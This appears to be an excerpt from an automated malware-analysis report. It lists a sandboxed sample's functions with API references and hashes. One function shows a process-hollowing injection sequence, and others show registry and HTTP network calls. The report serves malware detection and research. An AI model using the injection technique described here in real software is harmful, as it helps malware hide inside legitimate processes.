Opcode Fuzzy Hash: 886338c1d85336a6e955fc68a4c59b3b34c0f5a2a8e5d613b0ebfdebe096023e
Instruction Fuzzy Hash: 96C12770E042499FCF15DF99D881BEE7BB1FF49304F10816AE81497392C7789982CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041E4E7, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0041E1A0: CreateFileW.KERNELBASE(00000000,00000000,?,0041E590,?,?,00000000,?,0041E590,00000000,0000000C), ref: 0041E1BD

GetLastError.KERNEL32 ref: 0041E5FB
__dosmaperr.LIBCMT ref: 0041E602
GetFileType.KERNELBASE(00000000), ref: 0041E60E
GetLastError.KERNEL32 ref: 0041E618
__dosmaperr.LIBCMT ref: 0041E621
CloseHandle.KERNEL32(00000000), ref: 0041E641
CloseHandle.KERNEL32(00416D8E), ref: 0041E78E
GetLastError.KERNEL32 ref: 0041E7C0
__dosmaperr.LIBCMT ref: 0041E7C7

Strings

H, xrefs: 0041E74C

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 1c2e218b73c7c05f0d6191a617650c9c1982099c96f135368d1fe3f85766c01f
Instruction ID: a7403e0657b75145e8d8d96fe0d57bbe0260386865dff7abc6b4ac31b8702060
Opcode Fuzzy Hash: 1c2e218b73c7c05f0d6191a617650c9c1982099c96f135368d1fe3f85766c01f
Instruction Fuzzy Hash: 2EA13536A001449FCF199F69DC917EE3BA1AF46324F24025EFC11EB391CB389982CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004053D5, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 291COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004053DE

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 34ee3a1fb4b9d6864abff79439aa0bc43173f3d43660ad74a941fe12287c71d0
Instruction ID: 459d6239118e25bde7370e0713920c12719970239f79d9cbdc0c79445fa80dae
Opcode Fuzzy Hash: 34ee3a1fb4b9d6864abff79439aa0bc43173f3d43660ad74a941fe12287c71d0
Instruction Fuzzy Hash: 7E9156716101049BEB18EF39DD89BDE7666EF81308F10452EF805AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405502, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405505

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: d198ff5ed541c16a8a1bd991008122f7e12d914fe62ae9883d247e8c9c1a673a
Instruction ID: 3e246cba50cc04f2b49d62d3cdfa704e5ff3deb4579d0762b16de59f24ebb7eb
Opcode Fuzzy Hash: d198ff5ed541c16a8a1bd991008122f7e12d914fe62ae9883d247e8c9c1a673a
Instruction Fuzzy Hash: 42818B716101049BEB18EB38CD85BDE7666EF81308F10813EF405A72C6D77DDAD08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405877, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 277COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040587A

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 9a6bbbcaabb1e53303487a97b14fc3c39f9c15bb07c63b83122db70d6fcd6204
Instruction ID: aa5721e006c6537046776ef58912640645f9287049c094c174700e72efc61ae4
Opcode Fuzzy Hash: 9a6bbbcaabb1e53303487a97b14fc3c39f9c15bb07c63b83122db70d6fcd6204
Instruction Fuzzy Hash: 1D815771A101049BEB18EB78CD89BDE7665EF81308F10813EF805AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040599E, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004059A1

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 15bedc18f3ec68c6d602c5b709d87cc8451e2264a266a256a10828e6e13e7a89
Instruction ID: 3469fa48b22b115758995b4d3c46bebefccc619131d9b9e22321cc252ac1833a
Opcode Fuzzy Hash: 15bedc18f3ec68c6d602c5b709d87cc8451e2264a266a256a10828e6e13e7a89
Instruction Fuzzy Hash: AE814771A101049BEB18EA39DD89BDE7665EF86304F10823EF405AB2C2D77DD6D0CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405AC5, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405AC8

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 3cb8944b6def23e2938f9f5dbf34621acf569548db887d4709d225034cdb2d26
Instruction ID: d596caa66283cebfeb8c1f2eb706e6a8a0d0005b84d1e3b1db04b8e6ad9acb5f
Opcode Fuzzy Hash: 3cb8944b6def23e2938f9f5dbf34621acf569548db887d4709d225034cdb2d26
Instruction Fuzzy Hash: 448137716101049BEB18EA29CD89BDE7665EF85304F10853EF405AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405BEC, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405BEF

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 5fc23e73f14ff5525c48247eac88de7cf8e1f63798ec92138a609992c354c68a
Instruction ID: bb3416baf6a951e8fdd034c692e12aaf879970847645d4d7b0b96c9e4bebb240
Opcode Fuzzy Hash: 5fc23e73f14ff5525c48247eac88de7cf8e1f63798ec92138a609992c354c68a
Instruction Fuzzy Hash: 688147716101049BEB18EB39CD89BDE7665EF86304F10453EF805AB2C2D77DDAD08B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041579B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\39F6.exe, xrefs: 004157DE, 004157E5, 0041581B

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\39F6.exe
API String ID: 0-1056413258
Opcode ID: 4fb14ade20f3eaf382fe7e64d60070cd322338849bae691d3f3b95ed3818722d
Instruction ID: bd7d30052a7aa55287005ee5f59ad5b9b954ef4e210098312e523257f803a5a8
Opcode Fuzzy Hash: 4fb14ade20f3eaf382fe7e64d60070cd322338849bae691d3f3b95ed3818722d
Instruction Fuzzy Hash: 284151B1A00615EBDB11EB9ADD819EFBBB8EFC5310F10006BF40497251DBB88A91C798

Uniqueness

Uniqueness Score: -1.00%

Function 00408070, Relevance: 4.7, APIs: 3, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 68f223a45fb9ae7e35d3b95fe2153e65624af53c2435bef717e9edb7d766e006
Instruction ID: e0f35521bb23f4481ea4986f966d1eb109b333c8378051b499f50e154bbe73bc
Opcode Fuzzy Hash: 68f223a45fb9ae7e35d3b95fe2153e65624af53c2435bef717e9edb7d766e006
Instruction Fuzzy Hash: 5A71F430E002089BEF14DBA8DE85BDEBB75AF45308F64016ED414772C2EB799989CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004195B2, Relevance: 4.7, APIs: 3, Instructions: 177fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00418D47: GetConsoleCP.KERNEL32(?,00403FB0,00000000), ref: 00418D8F

WriteFile.KERNELBASE(?,00000000,0042F878,00000000,00000000,00000000,00403FB0,00403FB0,00403FB0,00000000,?,?,00412DB5,?,0042F878,00000010), ref: 00419703
GetLastError.KERNEL32(?,00412DB5,?,0042F878,00000010,00403FB0), ref: 0041970D
__dosmaperr.LIBCMT ref: 00419752

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: 40631f30ed1ed0eaf1094408d14900175e39f446a070495709f2580ddf39e1d1
Instruction ID: e45006f098b22a9e3183ee63a470de1613982ef44acdda56add4ea1b14af4bce
Opcode Fuzzy Hash: 40631f30ed1ed0eaf1094408d14900175e39f446a070495709f2580ddf39e1d1
Instruction Fuzzy Hash: 8051C171A0020AAFDB119FA4C8A5BEFBBB9EF45354F140017E510A7291D6789DC1C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00417044, Relevance: 4.6, APIs: 3, Instructions: 61COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,00403FB0,?,00416F72,00403FB0,0042F998,0000000C,00417024,0042F878), ref: 0041709A
GetLastError.KERNEL32(?,00416F72,00403FB0,0042F998,0000000C,00417024,0042F878), ref: 004170A4
__dosmaperr.LIBCMT ref: 004170CF

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 4c743a9baefa621831bc71a1ba4a665d0459fa2a28610b75b0a400a5c346c7c9
Instruction ID: 1a1df45d087680ebe062b969f43ad9773c173338d372761a2d75198e9887c976
Opcode Fuzzy Hash: 4c743a9baefa621831bc71a1ba4a665d0459fa2a28610b75b0a400a5c346c7c9
Instruction Fuzzy Hash: AA01043360C3201AD6252335AD457EF2F695B8B738F25022FE9098B2D3DE6C8CC1419D

Uniqueness

Uniqueness Score: -1.00%

Function 00415A48, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0041B67F: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417984,00000001,00000364,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041B6C0

_free.LIBCMT ref: 00415A86

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

Strings

C:\Users\user\AppData\Local\Temp\39F6.exe, xrefs: 00415A4D

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID: C:\Users\user\AppData\Local\Temp\39F6.exe
API String ID: 314386986-1056413258
Opcode ID: 56a02d56a13ac98f4b83630fc6e68db71c1ba56e7f355ee1ee618f88c9c506ba
Instruction ID: 5a4e39954d4f134b5786d8435e910eed60b1e00429b79259e9f307b16625cd8c
Opcode Fuzzy Hash: 56a02d56a13ac98f4b83630fc6e68db71c1ba56e7f355ee1ee618f88c9c506ba
Instruction Fuzzy Hash: 73F0A731A4062997CB1469B988816DA7345AF95370F414B36F835DB1C0E674DC8046C8

Uniqueness

Uniqueness Score: -1.00%

Function 004173DA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

Strings

b;A, xrefs: 004173DC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID: b;A
API String ID: 1279760036-2306562146
Opcode ID: 7b008c01f29623100c87188e6070c27ccc5f361749eed3967b6c5008f1632c3b
Instruction ID: 6ca6bcda325f3b80ebeda55984cb2a85329c20e8050479ea44a703a0643b4ed1
Opcode Fuzzy Hash: 7b008c01f29623100c87188e6070c27ccc5f361749eed3967b6c5008f1632c3b
Instruction Fuzzy Hash: 04E0E531289131AAE62136269C01BDB3E6E9F513F1F11013BEC1592281CF9CDC8181FD

Uniqueness

Uniqueness Score: -1.00%

Function 00408453, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 00408465
GetFileAttributesA.KERNELBASE(?), ref: 00408477

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: dae53bc85a5ece5aba655279063a4787bc221eec6d1e401198744adad41a2f42
Instruction ID: 63caa361f2c0d1208bac4890bcc6fad1766272f3df2db28293bd6039afc1c580
Opcode Fuzzy Hash: dae53bc85a5ece5aba655279063a4787bc221eec6d1e401198744adad41a2f42
Instruction Fuzzy Hash: 4F513871A001085BDB08EA79CE86BDD7726AF45318FA4063EF844B32C6DA3DE9C14799

Uniqueness

Uniqueness Score: -1.00%

Function 004108A5, Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 004108D7

Part of subcall function 00410FCF: InitializeSListHead.KERNEL32(004324C0,004108FC), ref: 00410FD4

___scrt_fastfail.LIBCMT ref: 0041094A

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Initialize$HeadList___scrt_fastfail
String ID:
API String ID: 2387029388-0
Opcode ID: 1bcb53408c579f2b7248537049d41b25333597d2311ffe4b44b231f43f3c28fd
Instruction ID: 4feefb9457eba128019e805f92475d0495002891e6682fcda2059527cf5a5ee3
Opcode Fuzzy Hash: 1bcb53408c579f2b7248537049d41b25333597d2311ffe4b44b231f43f3c28fd
Instruction Fuzzy Hash: 06013CB1A5430564E92433F35A177DF0A481F407ACB01495FB904AA193DEEEC5E591BF

Uniqueness

Uniqueness Score: -1.00%

Function 00415ACE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415B16

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4bb4d4e57e243818f30a00faebb0971ef0b292afcd0cc17efa7027c950390e8d
Instruction ID: b6c5b35b1c41f21974a26fff082875bdac7fd6feb4aa55ba6f18e6dfa312292b
Opcode Fuzzy Hash: 4bb4d4e57e243818f30a00faebb0971ef0b292afcd0cc17efa7027c950390e8d
Instruction Fuzzy Hash: 40E0A03668E910869221623BAC417EE26459FC2379F12032FF420861D1DFA898C2845D

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB00, Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040FC21

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 9589fde934e97827255bc235706a869777ffe3be6c4a766116f141ca0a2cc702
Instruction ID: 9659fc84071cb4b5b070b0d574535bbfab74a6bf06b73286dada6a27c1300816
Opcode Fuzzy Hash: 9589fde934e97827255bc235706a869777ffe3be6c4a766116f141ca0a2cc702
Instruction Fuzzy Hash: 4F3146716002049BD7349E28D89195EB7A9EF85320B20033FFC25C7BD2D678ED888B99

Uniqueness

Uniqueness Score: -1.00%

Function 00416D4F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00416D89

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c72ba9e8e0d7bea2039dd8a1c68f4931475a6da333fe9d1a0a62793a8a7fe95e
Instruction ID: 0f8b0904bce34dcb0b8576ae85d945563d08844ddd5551643ae36c77a7a0a986
Opcode Fuzzy Hash: c72ba9e8e0d7bea2039dd8a1c68f4931475a6da333fe9d1a0a62793a8a7fe95e
Instruction Fuzzy Hash: 61112771A0420AAFCF09DF59E9419DB7BF5EF48304F05406AF809EB351D670EA25CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00412CEB, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction ID: ccd464cf8de8bd76963c59595488b83bc39702f064f3aa08b2f6ef45467b454a
Opcode Fuzzy Hash: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction Fuzzy Hash: B4F021325006101ACA22262AE806BDA27BC8F82378F11031BF924C21E1CAFCD882869D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E459, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E4BC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction ID: c502dc3200fe3d9853130bfe2ed0484abc5acba75bc89d69b4d67c4f5dfa64ef
Opcode Fuzzy Hash: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction Fuzzy Hash: 73014472C00159AFCF01AFAACD019EE7FB5AF08314F14416AFD14E2191E6758A61DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041B67F, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417984,00000001,00000364,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041B6C0

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c410f677cc84ce65f459c243d53794703ea4e5cc9babcd0d647ce681a758d7a
Instruction ID: bb0239cd917347767d41987d6e0c81cba0b489b220a3017303308f211acca38d
Opcode Fuzzy Hash: 0c410f677cc84ce65f459c243d53794703ea4e5cc9babcd0d647ce681a758d7a
Instruction Fuzzy Hash: DCF0E031201135A79B211B26DD05BDB3759EF617B0B194027BC05E7294CB6CDC8146DE

Uniqueness

Uniqueness Score: -1.00%

Function 0041F8D3, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 004173DA: RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

_free.LIBCMT ref: 0041F8F3

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: 7c638195bce581d1cd474331d522ecd27c00ae9ed23fe9e3a9f726cd5d892166
Instruction ID: aee11100ca34d3458ce89e5f99effe4dc07aa4bc832e1dece958000052400d1d
Opcode Fuzzy Hash: 7c638195bce581d1cd474331d522ecd27c00ae9ed23fe9e3a9f726cd5d892166
Instruction Fuzzy Hash: E5F04F721057049FD3259F45D901792F7F8EF40B21F10843FE29A87990DBB4A4468B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E1A0, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0041E590,?,?,00000000,?,0041E590,00000000,0000000C), ref: 0041E1BD

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction ID: 734668a00370914631b4c4fe8fbe1f0e973289ac58342a9305f2a6e88b31aa5d
Opcode Fuzzy Hash: f37e5a37cdcaa46bd2bbbe7e3a9687f02ff2bfbfb3955d980ab61bdfe8a43f07
Instruction Fuzzy Hash: 92D06C3210010DBFEF128F84DC06EDA3BAAFB48714F018110BA1856060C732E832EB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004023D0, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 004023EC
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 00402445
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 0040245E
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 00402473
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 00402496
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 004024AE
GetProcAddress.KERNEL32(00000000), ref: 004024B5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 004024D4
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004024EF
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 0040252C
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 0040255C
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00402572
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 0040257B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 00402589
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 004025A0

Strings

NtUnmapViewOfSection, xrefs: 004024A4
ntdll.dll, xrefs: 004024A9

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction ID: 440dc1f88cae3f29298ca1fc926a1d4459f99b9c7f3eb29f4bf5b8588a7962f4
Opcode Fuzzy Hash: dce348d52fc12c30c3f40679117718e82f8cd84188ec2c5c3b09c48dccf8250f
Instruction Fuzzy Hash: 39516A71A40605BBEB208B94DD49FAEBBB8FF08705F504029F708E62D0DBB4A955CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004040F0, Relevance: 10.9, APIs: 7, Instructions: 365registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00404121
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 00404140

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 94d79a7a33d4d22f68eb2a96e4277294dc1cb90e320c4bf7319619414c3e215b
Instruction ID: 6321951a0994b58f8b3410fee4f8c79c06cea5f0678cef07b67a70ef62a851f0
Opcode Fuzzy Hash: 94d79a7a33d4d22f68eb2a96e4277294dc1cb90e320c4bf7319619414c3e215b
Instruction Fuzzy Hash: 9CC139B0A002049BDB24DF68DC46B9E7B71EF81304F50417EE901B72D1EB799985CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 004070B4, Relevance: 10.7, APIs: 7, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 004070C3
HttpSendRequestA.WININET(00000000,00000000,?), ref: 0040716C
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 004071FD
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 00407284
InternetCloseHandle.WININET(00000000), ref: 00407295
InternetCloseHandle.WININET(?), ref: 0040729A
InternetCloseHandle.WININET(?), ref: 0040729F

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Internet$CloseHandle$FileHttpReadRequest$OpenSend
String ID:
API String ID: 856522067-0
Opcode ID: 46399ca82c04d4cb12827f109e44d037cf8ae09b8d84c8a6a754118fccc78e0a
Instruction ID: 4766823f5b76784fd5501c0cdec08d84c61a63f63d86b45f3079b5d3cdf308d1
Opcode Fuzzy Hash: 46399ca82c04d4cb12827f109e44d037cf8ae09b8d84c8a6a754118fccc78e0a
Instruction Fuzzy Hash: 57810971A000049BEB18DF68CD85BAD7B66EF86304F50417DF810A73D5D739A981CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F061, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F0E3
_free.LIBCMT ref: 0041F107
_free.LIBCMT ref: 0041F294
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042C638), ref: 0041F2A6
_free.LIBCMT ref: 0041F460

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 7db27d2d9695c1e91a8acefcca941ffe13e4382e7f9342918b005e51f1d3aaa1
Instruction ID: 6c3339f1fcba1bfd03aeafa15e9eff58370b3754daa4e18655f01ca219f68792
Opcode Fuzzy Hash: 7db27d2d9695c1e91a8acefcca941ffe13e4382e7f9342918b005e51f1d3aaa1
Instruction Fuzzy Hash: FCC14936A00204ABCB109B69DD41AEB7BA9AF45314F1440BFE84197352E7798E8B875C

Uniqueness

Uniqueness Score: -1.00%

Function 00410B13, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00410B29

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7b1201da53ebf601c8b985c1e58dc9aa388b10418ecd189d4aecf39a7dd7a3b7
Instruction ID: adf30755c2367850e79aed5942d5cf912dce82338ce689bcdecb484ef98a17a0
Opcode Fuzzy Hash: 7b1201da53ebf601c8b985c1e58dc9aa388b10418ecd189d4aecf39a7dd7a3b7
Instruction Fuzzy Hash: C4516DB1A056058FDB18CF55EA817EAB7F4FB48314F14856AD405EB351E3B899C0CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9B2, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a92012c9d58c3263018888d2c6badcefa4afe166ca922ec22ab8167c0ae8ac
Instruction ID: ab5cb7eb22793a6d951a45ed620bf8732dd85f3227307ef8226666287b30cfbb
Opcode Fuzzy Hash: c9a92012c9d58c3263018888d2c6badcefa4afe166ca922ec22ab8167c0ae8ac
